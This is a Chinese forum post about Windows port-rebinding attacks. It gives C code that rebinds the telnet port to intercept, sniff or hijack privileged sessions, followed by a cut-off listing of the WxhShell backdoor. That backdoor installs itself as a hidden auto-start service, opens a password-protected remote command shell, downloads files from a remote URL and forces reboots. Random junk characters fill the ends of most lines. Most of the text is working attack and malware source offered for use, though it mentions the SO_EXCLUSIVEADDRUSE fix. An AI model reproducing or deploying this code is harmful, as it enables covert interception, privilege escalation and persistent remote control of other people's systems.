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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: .Gv9RKgd~  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); bs!N~,6h  
5uMh#dm^  
  saddr.sin_family = AF_INET; v_f8zk  
~lMw*Qw^  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); _aVrQ@9  
OaU-4 ~n;  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); JqTkNKi/s  
&P&LjHFK  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 V6"<lK8"  
jC1mui|Y^  
  这意味着什么?意味着可以进行如下的攻击: h+Km|  
}}XYV eI  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 e Ll+F%@  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) S!qJqZ<Bv  
Q[^IX  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 > 4ex:Z  
b7g\wnV8z  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  MZf$8R  
6Y6DkFdvrZ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 D/jB .  
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  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Z^,C><Yt  
5Jq~EB{"  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 obRR))  
*]~ug%a  
  #include !)RND 6.  
  #include `O(ec  
  #include :G9+-z{Y&  
  #include    \]}|m<R  
  DWORD WINAPI ClientThread(LPVOID lpParam);   1a 3rA  
  int main() ~\`lbGJ7?  
  { y0>asl  
  WORD wVersionRequested; ^RytBwzKM  
  DWORD ret; Rk.YnA_J6  
  WSADATA wsaData; o^;$-O!/  
  BOOL val; ;T~]|#T\6  
  SOCKADDR_IN saddr; |cStN[97%  
  SOCKADDR_IN scaddr; #}L75  
  int err; 6 ]W!>jDc  
  SOCKET s; |n=m{JX\m  
  SOCKET sc; L<!}!v5ja  
  int caddsize; ZB GLwe  
  HANDLE mt; C J S  
  DWORD tid;   )ALPMmlRs  
  wVersionRequested = MAKEWORD( 2, 2 ); pkpD1c^  
  err = WSAStartup( wVersionRequested, &wsaData ); <m9hM?^q  
  if ( err != 0 ) { SV16]Vc  
  printf("error!WSAStartup failed!\n"); =8$//$  
  return -1; Kdk0#+xtP  
  } :S}!i?n  
  saddr.sin_family = AF_INET; 0F-X.Dq  
   RvKP&  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 S!<YVQq  
duB{ 1  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); !/+ZKx("9  
  saddr.sin_port = htons(23); <uUQ-]QOIh  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) l CHaRR7  
  { 90> (`pI=  
  printf("error!socket failed!\n"); 3^ ~M7=k  
  return -1; By{zX,6'  
  } Vrn. #d  
  val = TRUE; D"0:n.  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 W)3?T& `  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *LpEH,J  
  { 6s\niro2  
  printf("error!setsockopt failed!\n"); BDSZ'  
  return -1; ){`s&?M0  
  } Kk1591'  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /^^t>L  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Gm;)Om_  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 o&P}GcEIw  
$&/JY  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) sm5\> L3V  
  { sS;6QkI"y  
  ret=GetLastError(); :+{G|goZ*  
  printf("error!bind failed!\n"); CY#|VE M  
  return -1; r(xh5{^x  
  } ,gGIkl&  
  listen(s,2); &C<K|F!j!  
  while(1) cHOtMPyQ  
  { 1>P[3Y@}  
  caddsize = sizeof(scaddr); [ qt hn[3  
  //接受连接请求 "MHm9D?5  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); j78WPG  
  if(sc!=INVALID_SOCKET) &v|Uy}h&%1  
  { =!T@'P?  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); S9R(;  
  if(mt==NULL) fe PH=C  
  { X.hU23w  
  printf("Thread Creat Failed!\n"); :)VO,b~r  
  break; lxb+0fiN  
  } e5G)83[=  
  } .zQ:u{FT  
  CloseHandle(mt); )9F-h8 &"  
  } %jz]s4u$5j  
  closesocket(s); 0fwmQ'lW(  
  WSACleanup(); |N_tVE  
  return 0; stuj,8  
  }   >QO^h<.>  
  DWORD WINAPI ClientThread(LPVOID lpParam) nVkx Q?2  
  { ^Pl(V@  
  SOCKET ss = (SOCKET)lpParam; c} )U:?6  
  SOCKET sc; 3/c3e{,!  
  unsigned char buf[4096]; 85CH% I#  
  SOCKADDR_IN saddr; li'h&!|]  
  long num; c'cK+32  
  DWORD val; WLl_;BgN  
  DWORD ret; q1ybJii  
  //如果是隐藏端口应用的话,可以在此处加一些判断 "%fh`4y3\  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   0/K?'&$yvb  
  saddr.sin_family = AF_INET; u3 k%  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ]j> W9n?  
  saddr.sin_port = htons(23); hkV;(Fr&z  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0WT]fY?IS  
  { a(AKVk\  
  printf("error!socket failed!\n"); ,Y *unk<S  
  return -1; f%vJmpg  
  } !v/5 G_pr  
  val = 100; ~hK7(K  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) F. 5'5%  
  { e??tp]PLn  
  ret = GetLastError(); ~C[p}MED  
  return -1;  gGF]Dq  
  } p3>(ZWPNV  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *69{#qN  
  { -e< d//>  
  ret = GetLastError(); e R Y2.!  
  return -1; aT}Mn(F*?  
  } ?;84 M@  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <xpOi&l  
  { R_9&V!fl  
  printf("error!socket connect failed!\n"); S(NH# ^  
  closesocket(sc); t8X$M;$  
  closesocket(ss); u=_"* :}  
  return -1; qLrvKoEX2  
  } &"H xAK)f  
  while(1) Ku;|Dz/=o  
  { \f| Hk*@  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 DV+M;rs  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ?bFP'.  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 k1tJ$}  
  num = recv(ss,buf,4096,0); _)|_KQQu  
  if(num>0) BGM5pc (ei  
  send(sc,buf,num,0); .*XELP=BT  
  else if(num==0) EUBJnf:q  
  break; +;z^qn  
  num = recv(sc,buf,4096,0); W P7RX|7  
  if(num>0) eu=G[>  
  send(ss,buf,num,0); :"m~tU3&  
  else if(num==0) ( w4w  
  break; y8} fj=  
  } 7$3R}=Z`\q  
  closesocket(ss); S1jI8 #z}_  
  closesocket(sc); m(0sG(A~  
  return 0 ; 4I7B #{  
  } \s_lB~"P!3  
& gF*p  
m]H[$ Q  
========================================================== OAigq6[,  
Zop3[-  
下边附上一个代码,,WXhSHELL x)evjX=q  
<Q57}[$*)  
========================================================== N:R6 b5 =}  
n(X{|?  
#include "stdafx.h" "FuOWI{in  
2P\k;T(  
#include <stdio.h> hxG=g6:G  
#include <string.h>  R&oC9<  
#include <windows.h> #'`!*VI  
#include <winsock2.h> MZYh44  
#include <winsvc.h> D#%aow'(7  
#include <urlmon.h> Ah^0FU%!g  
ed3d 6/%HR  
#pragma comment (lib, "Ws2_32.lib") ~ZrSoVP=  
#pragma comment (lib, "urlmon.lib") LV4\zd6  
k+-IuO  
#define MAX_USER   100 // 最大客户端连接数 mCM7FFl I  
#define BUF_SOCK   200 // sock buffer fZQL!j4  
#define KEY_BUFF   255 // 输入 buffer q/T(s  
` =ocr8c  
#define REBOOT     0   // 重启 v[$-)vs*ag  
#define SHUTDOWN   1   // 关机 C]@v60I  
Zl,c+/  
#define DEF_PORT   5000 // 监听端口 }"} z7Xb0  
So?.V4aD_  
#define REG_LEN     16   // 注册表键长度 3=[#(p:  
#define SVC_LEN     80   // NT服务名长度 8H2zM IB  
3k YVk  
// 从dll定义API N$'/J-^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2!-?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); TtZZjeg+V  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); TcB^Sctf  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -Iq W@|N  
~bm VpoI  
// wxhshell配置信息 _(J;!,  
struct WSCFG { T,' {0q  
  int ws_port;         // 监听端口 4Vv~  
  char ws_passstr[REG_LEN]; // 口令 D.7,xgH  
  int ws_autoins;       // 安装标记, 1=yes 0=no K)-Gv|*t  
  char ws_regname[REG_LEN]; // 注册表键名 OGl>i  
  char ws_svcname[REG_LEN]; // 服务名 M't~/&D#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |X}H&wBWo  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \R!.VL3Tx$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]V*ku%L0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no D8 S?xK7[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @.rVg XE=!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^oZz,q  
}Iyr u3M][  
}; s,5SWdb\v  
 (~59}lu~  
// default Wxhshell configuration FI.Ae/(U  
struct WSCFG wscfg={DEF_PORT, U,G!u=+  
    "xuhuanlingzhe",  uj8G6'm%  
    1, 'A^;P]y  
    "Wxhshell", C-wwQbdG/  
    "Wxhshell", l7{]jKJue  
            "WxhShell Service", f82$_1s^  
    "Wrsky Windows CmdShell Service", Sn o7Ru2  
    "Please Input Your Password: ", @k< e]@r  
  1, BIu%A]e"  
  "http://www.wrsky.com/wxhshell.exe", gzHMZ/31  
  "Wxhshell.exe" @M]uUL-ze  
    }; $ 12mS  
D)kh"cK*1  
// 消息定义模块 B/:+(|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {z^6V\O5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; WA'&0i4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; A$6T)  
char *msg_ws_ext="\n\rExit."; X jJV  
char *msg_ws_end="\n\rQuit."; trl:\m  
char *msg_ws_boot="\n\rReboot..."; ZQL4<fy'E  
char *msg_ws_poff="\n\rShutdown..."; {|R@\G.1(  
char *msg_ws_down="\n\rSave to "; Sio> QL Y  
t^8 ii  
char *msg_ws_err="\n\rErr!"; Nu/D$m'PY  
char *msg_ws_ok="\n\rOK!"; N}$$<i2o  
_oV;Y`_  
char ExeFile[MAX_PATH]; O }ES/<an  
int nUser = 0; \hlQu{q.  
HANDLE handles[MAX_USER]; 7g* "AEk  
int OsIsNt; /]xu=q2  
$0-}|u]5U  
SERVICE_STATUS       serviceStatus; Ffv v8x  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }Q }&3m~g  
0XkLWl|k  
// 函数声明 *\-R&8  
int Install(void); asT/hsSNS  
int Uninstall(void); J 8!D."'Q0  
int DownloadFile(char *sURL, SOCKET wsh); zRO-oOJ  
int Boot(int flag); A-=B#UF  
void HideProc(void); `.MY" g9  
int GetOsVer(void); /mi9 q  
int Wxhshell(SOCKET wsl); \2UtT@3|C  
void TalkWithClient(void *cs); SxX2+|0g`g  
int CmdShell(SOCKET sock); U~;Rzoe)q*  
int StartFromService(void); n]G_# ;  
int StartWxhshell(LPSTR lpCmdLine); 9s#Q[\B!  
^#6"d+lp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); AZj `o  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); d9j+==S <  
/w!!jj^  
// 数据结构和表定义 8fG$><@  
SERVICE_TABLE_ENTRY DispatchTable[] = T(GEFnt Y  
{ %=ZN2)7{  
{wscfg.ws_svcname, NTServiceMain}, .=~-sj@k  
{NULL, NULL} qD/GYqvm  
}; t; 3n  
fXL&?~fS  
// 自我安装 QU#u5sX A  
int Install(void) X@["Jjp  
{ Z+gG.|"k  
  char svExeFile[MAX_PATH]; (f-Mm0%[  
  HKEY key; `:aml+  
  strcpy(svExeFile,ExeFile); CMcS4X9/}  
34D7qR  
// 如果是win9x系统,修改注册表设为自启动 UQ7E7yY#  
if(!OsIsNt) { FnZMW, P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =XRTeIZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &Zzd6[G+  
  RegCloseKey(key); o@6hlLr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N7wKaezE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dy }O6  
  RegCloseKey(key); m'!smS x8  
  return 0; cC4 2b2+  
    } B}:/2?gQ  
  } $!'S7;*uW  
} mY)Y47iL  
else { =\QKzQ'BC  
#mK/xbW  
// 如果是NT以上系统,安装为系统服务 :jKiHeBQu?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n#US4&uT4A  
if (schSCManager!=0) 3 L:s5  
{ #Epx'$9  
  SC_HANDLE schService = CreateService T z`O+fx &  
  ( k@[P\(a3b  
  schSCManager, *X_-8 ^~  
  wscfg.ws_svcname, T#o?@ ;  
  wscfg.ws_svcdisp, o+w G6 9  
  SERVICE_ALL_ACCESS, LH:M`\(DL1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /Ezx'h3Q  
  SERVICE_AUTO_START, 2\b 2W_  
  SERVICE_ERROR_NORMAL, 4lb(qKea  
  svExeFile, %8L>|QOX  
  NULL, ?Nbc#0pb7  
  NULL, >~%EB?8  
  NULL, @5[9iY  
  NULL, M*+MhM-  
  NULL nEG+TRZ)\  
  ); 0\y{/P?I$  
  if (schService!=0) fQ[& ^S$  
  { [|vE*&:uO  
  CloseServiceHandle(schService); y^iju(  
  CloseServiceHandle(schSCManager); un&Z' .   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~xp(k  
  strcat(svExeFile,wscfg.ws_svcname); SU` RHAo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $-=QTX  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); TJ5g? #Wul  
  RegCloseKey(key); 7CGxM  
  return 0; G1!yPQa7d  
    } l%f &vOcd  
  } ].!^BYNht  
  CloseServiceHandle(schSCManager); eZck$]P(6H  
} |riP*b  
} `R\nw)xq  
Miw*L;u@W  
return 1; xn &$qLB  
} @)IHd6 R  
x!i(M>P  
// 自我卸载 |_} LMkU)  
int Uninstall(void) ,Fv8&tR  
{ _MI8P/  
  HKEY key; 46(=*iT&V  
f Yt y7  
if(!OsIsNt) { )-u0n] ,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1 7..  
  RegDeleteValue(key,wscfg.ws_regname); <'N(`.&3C  
  RegCloseKey(key); 4 g%BCGsys  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /A4^l]H;+3  
  RegDeleteValue(key,wscfg.ws_regname); (v@)nv]U  
  RegCloseKey(key); zK_+UT  
  return 0; 82>90e(CH]  
  } q!OB?03n  
} 1Z$` }a  
} 2VZdtz  
else { JO&~mio  
xh90qm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -".q=$f  
if (schSCManager!=0) 'f "KV|  
{ !EuqJjh  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8NUVHcB6  
  if (schService!=0) d41DcgG'j(  
  { m 4r!Ck|  
  if(DeleteService(schService)!=0) { q b[UA5S\`  
  CloseServiceHandle(schService); :g+5cs  
  CloseServiceHandle(schSCManager); sN_c4"\q  
  return 0; bzC| aUGM  
  } 'LyEdlC]  
  CloseServiceHandle(schService); tx9;8K3  
  } X9S` #N  
  CloseServiceHandle(schSCManager); 2d:5~fEJp  
} cU[^[;4J<  
} X%sMna)  
6!;eJYj,  
return 1; *URBx"5XZ  
} #J): N  
+%'!+r l  
// 从指定url下载文件 en?J#fz  
int DownloadFile(char *sURL, SOCKET wsh) c?/R=/H  
{ |n/qJIE6  
  HRESULT hr; !%lcn O  
char seps[]= "/"; oLh 2:c  
char *token; DDwj[' R  
char *file; `alQmGUZ  
char myURL[MAX_PATH]; 5dNM:1VoE  
char myFILE[MAX_PATH]; iLIv<VK/d  
Ob~7r*q  
strcpy(myURL,sURL); {: H&2iF  
  token=strtok(myURL,seps); ~M !9E])  
  while(token!=NULL) j]X $7  
  { Mnx')([;W  
    file=token; 1OOMqFn}L  
  token=strtok(NULL,seps); |}07tUq  
  } !VoAN5#;  
5X1z^(   
GetCurrentDirectory(MAX_PATH,myFILE); v|K'M,E  
strcat(myFILE, "\\"); `J v~.EF%  
strcat(myFILE, file); K K_  
  send(wsh,myFILE,strlen(myFILE),0); ^K]`ZQjKC  
send(wsh,"...",3,0); n]Z() "D  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "pa2,-&  
  if(hr==S_OK) P =jRof$  
return 0; [/+}E X  
else = 9K5f# ;e  
return 1; 7J6D wh{  
m(0c|-  
} +~{Honj[  
vWh]1G#'p[  
// 系统电源模块 u6 lcl}'  
int Boot(int flag) 9!u&8#i  
{ =K:)%Qh  
  HANDLE hToken; ~ _G W  
  TOKEN_PRIVILEGES tkp; |~d8j'rt  
/T\'&s3D+  
  if(OsIsNt) { .VG5 / 6zp  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); rQLl[a  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [~v1  
    tkp.PrivilegeCount = 1; 9:v0gE+.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Q8GI;`Rb  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 50='>|b  
if(flag==REBOOT) { X?gH(mn  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ZdsYIRU#  
  return 0; @GyxOc@6  
} ~^<1k-  
else { I8%Uyap{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $eU oFa5A  
  return 0; ~e;2gm  
} 7E]qP 5  
  } \96aHOk<  
  else { =Y]'wb  
if(flag==REBOOT) { VsjE*AJpe  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) bSvr8FY3d  
  return 0; >2BWie?T  
} "IuHSjP  
else { &WV&_z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /y-eVu6  
  return 0; fP>~ @^  
} SF. Is=b  
} vP @\"  
=6Q\78b  
return 1; $s S;#r0  
} sL",Ho  
1{Kv  
// win9x进程隐藏模块 Muay6b?  
void HideProc(void) WXmR{za   
{ d$}!x[g$Z  
{?YBJnG}x  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u_*DS-  
  if ( hKernel != NULL ) (O-.^VV  
  { k,h /B  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); jnzOTS   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9=5xt;mEs}  
    FreeLibrary(hKernel); /!A?>#O&.  
  } f j:q>}V  
{W11+L{8  
return; *$ kpSph  
} kW4B @Zh  
uWjSqyb:  
// 获取操作系统版本 +L hV4@zC  
int GetOsVer(void) /3KPK4!m  
{ |x+g5~$  
  OSVERSIONINFO winfo; $_Kcm"oj  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); HE{JiAf  
  GetVersionEx(&winfo); kdW$>Jqb  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B }t529Z  
  return 1; - U Elu4n&  
  else  sg9  
  return 0; z~($ "  
} g/(3D  
q445$ndCT  
// 客户端句柄模块 EC`=nGF  
int Wxhshell(SOCKET wsl) -PiakX  
{ Q`)iy/1M  
  SOCKET wsh; 8k_cC$*Ng  
  struct sockaddr_in client; p6AF16*f0  
  DWORD myID; i}=n6  
von<I  
  while(nUser<MAX_USER) ,vcd>"PK  
{ A81'ca/  
  int nSize=sizeof(client); wmDO^}>ZP  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 59#o+qo4   
  if(wsh==INVALID_SOCKET) return 1; _uq[D`=  
:x[SV^fw[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X0 ^~`g  
if(handles[nUser]==0) EN/r{Cm$B  
  closesocket(wsh); mhW*rH*m  
else }Hy4^2B  
  nUser++; /*1p|c^  
  } #t<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r0/aw  
)F'r-I%Hi  
  return 0; 77H"=  
} :um]a70  
rGm xK|R  
// 关闭 socket z]HaE|j}S  
void CloseIt(SOCKET wsh) 1{-yF :A  
{ a&!K5(  
closesocket(wsh); m"f3hd4D_q  
nUser--; 3,yzRb  
ExitThread(0); 6m mc{kw'  
} pg.BOz\'q  
K};~A?ET,h  
// 客户端请求句柄 1"S~#  
void TalkWithClient(void *cs) t_kRYdW9  
{ Y+nk:9  
' '<3;  
  SOCKET wsh=(SOCKET)cs; jT*?Z:U  
  char pwd[SVC_LEN]; 7-VP)|L#G  
  char cmd[KEY_BUFF]; NiBly  
char chr[1]; 0q o]nw  
int i,j; 3W3)%[ 5  
k*K.ZS688  
  while (nUser < MAX_USER) { uJSzz:\  
e]*@|e4b  
if(wscfg.ws_passstr) { U W' @3#<?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9GtVcucN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p8(Z{TSv  
  //ZeroMemory(pwd,KEY_BUFF); `5 Iaz  
      i=0; #pnB+h&tE  
  while(i<SVC_LEN) { KD`*[.tT  
R q`j|tY  
  // 设置超时 Mhu|S)hn  
  fd_set FdRead; LV@tt&|N  
  struct timeval TimeOut; 1O2jvt7M  
  FD_ZERO(&FdRead); Sb.%B^O  
  FD_SET(wsh,&FdRead); ^l{q{O7U$  
  TimeOut.tv_sec=8; F% z$^ m-  
  TimeOut.tv_usec=0; ~cul;bb#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4SJb\R)XK  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4u= v  
2" u,f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PW+B&7{  
  pwd=chr[0]; gX]ewbPDQ  
  if(chr[0]==0xd || chr[0]==0xa) { |ITh2m  
  pwd=0; f~:wI9  
  break; gMsB1|  
  } `+!F#.  
  i++; j:7AVnt  
    } u;9a/RI  
^@f.~4P*I  
  // 如果是非法用户,关闭 socket k]rc -c-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [Om,Q<  
} a5?Yh<cJ  
a= (vS  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); nL+y"O  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6z2%/P-'  
g\1|<jb3  
while(1) { .u:aX$t+  
:6J&%n  
  ZeroMemory(cmd,KEY_BUFF); elz0t<V  
&l0 ,q=T  
      // 自动支持客户端 telnet标准   et=i@PB)  
  j=0; l4ru0V8s7  
  while(j<KEY_BUFF) { 0i(c XB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^s\T<;  
  cmd[j]=chr[0]; 4{ [d '-H5  
  if(chr[0]==0xa || chr[0]==0xd) { 5c$\DZ(  
  cmd[j]=0; `_SV1|=="8  
  break; Z8`Y}#Za[  
  } dP?QPky{9  
  j++; ]G Blads  
    } W<:x4gBa  
<"yL(s^u"  
  // 下载文件 .'b| pd  
  if(strstr(cmd,"http://")) { U(2=fKK;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); o~M=o:^nH  
  if(DownloadFile(cmd,wsh)) kS4YxtvB  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }$b!/<7FD  
  else S0`u!l89(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VIg6'  
  } <c$rfjM+JU  
  else { iKu4s  
#, h0K  
    switch(cmd[0]) { WAf"|  
  C{~O!^2G  
  // 帮助 7^<6|>j4  
  case '?': { 3mhjwgP<nn  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i,wZNX  
    break; G5ShheZd  
  } }#S1!TU  
  // 安装 "s}Oeu[  
  case 'i': { gYBMi)`RT  
    if(Install()) g(i8HU*{q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $LVzhQlD  
    else [eFJ+|U9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .DM-&P  
    break; Ygc|9}  
    } K>TEt5  
  // 卸载 0 \V)DV.i  
  case 'r': { =#vJqA  
    if(Uninstall()) _9'hmej  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qWJHb Dd  
    else t N4-<6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); / ;+Mz*  
    break;  U4qk<!  
    } R_b4S%jhx  
  // 显示 wxhshell 所在路径 b! r%4Ah  
  case 'p': { qkqtPbQ 7  
    char svExeFile[MAX_PATH]; c Qe3  
    strcpy(svExeFile,"\n\r"); `g <0FQA  
      strcat(svExeFile,ExeFile); frc9   
        send(wsh,svExeFile,strlen(svExeFile),0); b,X+*hRt  
    break; \VWgF)_  
    } \/b[V3<"  
  // 重启 F"1tPWn  
  case 'b': { Bg}l$?S  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); BkP4.XRI  
    if(Boot(REBOOT)) n6G&c4g<"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2@IL  n+#  
    else { %cBOi_}}~  
    closesocket(wsh); iNc!z A4  
    ExitThread(0); Yr>0Qg],  
    } b1;h6AeL  
    break; -/2B fIq  
    } *qu5o5Q  
  // 关机 eL.WP`Lz  
  case 'd': { 4o"?QV:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0f@9y  
    if(Boot(SHUTDOWN)) U8-OQ:2.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HD& Cp  
    else { T 2_iH=u  
